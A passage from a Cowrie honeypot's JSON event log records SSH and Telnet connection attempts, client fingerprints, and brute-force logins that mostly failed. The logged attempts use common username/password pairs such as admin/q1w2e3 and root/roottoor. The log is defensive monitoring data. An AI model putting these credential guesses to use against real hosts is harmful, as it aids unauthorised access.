512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:08.749120Z","src_ip":"159.203.92.129","session":"d43aad72203b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3","message":"login attempt [admin/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:08.801394Z","src_ip":"159.203.92.129","session":"d43aad72203b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:09.808575Z","src_ip":"159.203.92.129","session":"d43aad72203b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4c86b07306","protocol":"telnet","message":"New connection: 46.4.8.162:38134 (159.203.135.109:23) [session: 8a4c86b07306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:10.249840Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38138,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d0f40f8ec6","protocol":"telnet","message":"New connection: 46.4.8.162:38138 (159.203.135.109:23) [session: 48d0f40f8ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:10.799143Z"}
{"eventid":"cowrie.session.closed","duration":30.777184009552002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:11.304713Z","src_ip":"46.4.8.162","session":"c2be5c69e892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":35482,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0acbde7ff81","protocol":"telnet","message":"New connection: 185.207.251.163:35482 (159.203.135.109:23) [session: b0acbde7ff81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:11.389455Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":35490,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07aae8767de","protocol":"telnet","message":"New connection: 185.207.251.163:35490 (159.203.135.109:23) [session: c07aae8767de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:12.942161Z"}
{"eventid":"cowrie.session.closed","duration":30.659725189208984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:15.198349Z","src_ip":"94.23.76.26","session":"4d4a24e1e032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51504,"dst_ip":"159.203.135.109","dst_port":23,"session":"88efbd2c0d28","protocol":"telnet","message":"New connection: 188.166.220.49:51504 (159.203.135.109:23) [session: 88efbd2c0d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:21.798222Z"}
{"eventid":"cowrie.session.closed","duration":35.08967733383179,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:22.889521Z","src_ip":"188.166.220.49","session":"0f26f8da12ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29545044898987,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:23.781032Z","src_ip":"46.4.8.162","session":"3bb070fa075b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.25998616218567,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:24.563437Z","src_ip":"46.4.8.162","session":"fdea99a0a492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02582621574402,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:26.443183Z","src_ip":"46.4.8.162","session":"4636956a3468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":56511,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bdef32c1da7","protocol":"ssh","message":"New connection: 223.197.186.7:56511 (159.203.135.109:22) [session: 6bdef32c1da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:27.914502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:27.926554Z","src_ip":"223.197.186.7","session":"6bdef32c1da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.147645Z","src_ip":"223.197.186.7","session":"6bdef32c1da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47404,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5da72a2179","protocol":"telnet","message":"New connection: 46.4.8.162:47404 (159.203.135.109:23) [session: 1c5da72a2179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.253227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":59208,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75191bcab21","protocol":"ssh","message":"New connection: 103.148.100.146:59208 (159.203.135.109:22) [session: b75191bcab21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.260945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.266853Z","src_ip":"103.148.100.146","session":"b75191bcab21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.137691259384155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.371348Z","src_ip":"46.4.8.162","session":"a94b5bcb403c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.533761Z","src_ip":"103.148.100.146","session":"b75191bcab21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"8527f47bb314","protocol":"telnet","message":"New connection: 46.4.8.162:47420 (159.203.135.109:23) [session: 8527f47bb314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:28.593671Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottoor","message":"login attempt [root/roottoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:29.014989Z","src_ip":"223.197.186.7","session":"6bdef32c1da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.087353944778442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:29.054674Z","src_ip":"185.207.251.163","session":"673a374a04f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06147217750549,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:29.134629Z","src_ip":"188.166.220.49","session":"7137a46bd94a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp@2025","message":"login attempt [erp/erp@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:29.606150Z","src_ip":"103.148.100.146","session":"b75191bcab21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:30.232585Z","src_ip":"223.197.186.7","session":"6bdef32c1da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:30.881216Z","src_ip":"103.148.100.146","session":"b75191bcab21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47436,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ccedc7ac321","protocol":"telnet","message":"New connection: 46.4.8.162:47436 (159.203.135.109:23) [session: 9ccedc7ac321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:32.951571Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f2453da2f0a","protocol":"telnet","message":"New connection: 46.4.8.162:42294 (159.203.135.109:23) [session: 4f2453da2f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:33.619905Z"}
{"eventid":"cowrie.session.closed","duration":33.18403935432434,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:35.149515Z","src_ip":"46.4.8.162","session":"96a9ed4e1e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11982607841492,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:38.624655Z","src_ip":"46.4.8.162","session":"067e904c4085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70428729057312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:42.093625Z","src_ip":"185.207.251.163","session":"b0acbde7ff81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.313854455947876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:43.112883Z","src_ip":"46.4.8.162","session":"48d0f40f8ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22049331665039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:43.162514Z","src_ip":"185.207.251.163","session":"c07aae8767de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.991618394851685,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:44.241334Z","src_ip":"46.4.8.162","session":"8a4c86b07306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46830,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8eb32b006f","protocol":"telnet","message":"New connection: 46.4.8.162:46830 (159.203.135.109:23) [session: 4c8eb32b006f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:45.257405Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":46160,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee279030844","protocol":"telnet","message":"New connection: 185.207.251.163:46160 (159.203.135.109:23) [session: cee279030844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:48.375413Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20862,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a69db0acfc5","protocol":"ssh","message":"New connection: 2.57.121.112:20862 (159.203.135.109:22) [session: 4a69db0acfc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.484511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.489945Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.592340Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34702,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dcc60f16ac7","protocol":"ssh","message":"New connection: 159.203.92.129:34702 (159.203.135.109:22) [session: 0dcc60f16ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.882126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.887955Z","src_ip":"159.203.92.129","session":"0dcc60f16ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.894290Z","src_ip":"159.203.92.129","session":"0dcc60f16ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4","message":"login attempt [admin/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:52.910361Z","src_ip":"159.203.92.129","session":"0dcc60f16ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19081973","message":"login attempt [admin/19081973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:53.069701Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:53.918612Z","src_ip":"159.203.92.129","session":"0dcc60f16ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190787","message":"login attempt [admin/190787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:54.173904Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19071969","message":"login attempt [admin/19071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:55.278509Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19061997","message":"login attempt [admin/19061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:56.384328Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19061960","message":"login attempt [admin/19061960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:57.490930Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:58.596544Z","src_ip":"2.57.121.112","session":"4a69db0acfc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.904592514038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:00.157692Z","src_ip":"46.4.8.162","session":"1c5da72a2179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54064106941223,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:00.338742Z","src_ip":"188.166.220.49","session":"88efbd2c0d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.702075481414795,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:01.295617Z","src_ip":"46.4.8.162","session":"8527f47bb314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57742,"dst_ip":"159.203.135.109","dst_port":23,"session":"43c1bb55a137","protocol":"telnet","message":"New connection: 46.4.8.162:57742 (159.203.135.109:23) [session: 43c1bb55a137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:01.540586Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57754,"dst_ip":"159.203.135.109","dst_port":23,"session":"d380736f5a21","protocol":"telnet","message":"New connection: 46.4.8.162:57754 (159.203.135.109:23) [session: d380736f5a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:01.669368Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":57584,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c92de597d0","protocol":"telnet","message":"New connection: 188.166.220.49:57584 (159.203.135.109:23) [session: 80c92de597d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:05.569525Z"}
{"eventid":"cowrie.session.closed","duration":32.31018662452698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:05.929973Z","src_ip":"46.4.8.162","session":"4f2453da2f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":40274,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ee6c7b189f","protocol":"telnet","message":"New connection: 185.207.251.163:40274 (159.203.135.109:23) [session: 43ee6c7b189f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:06.648750Z"}
{"eventid":"cowrie.session.closed","duration":34.479389905929565,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:07.430842Z","src_ip":"46.4.8.162","session":"9ccedc7ac321","protocol":"telnet"}
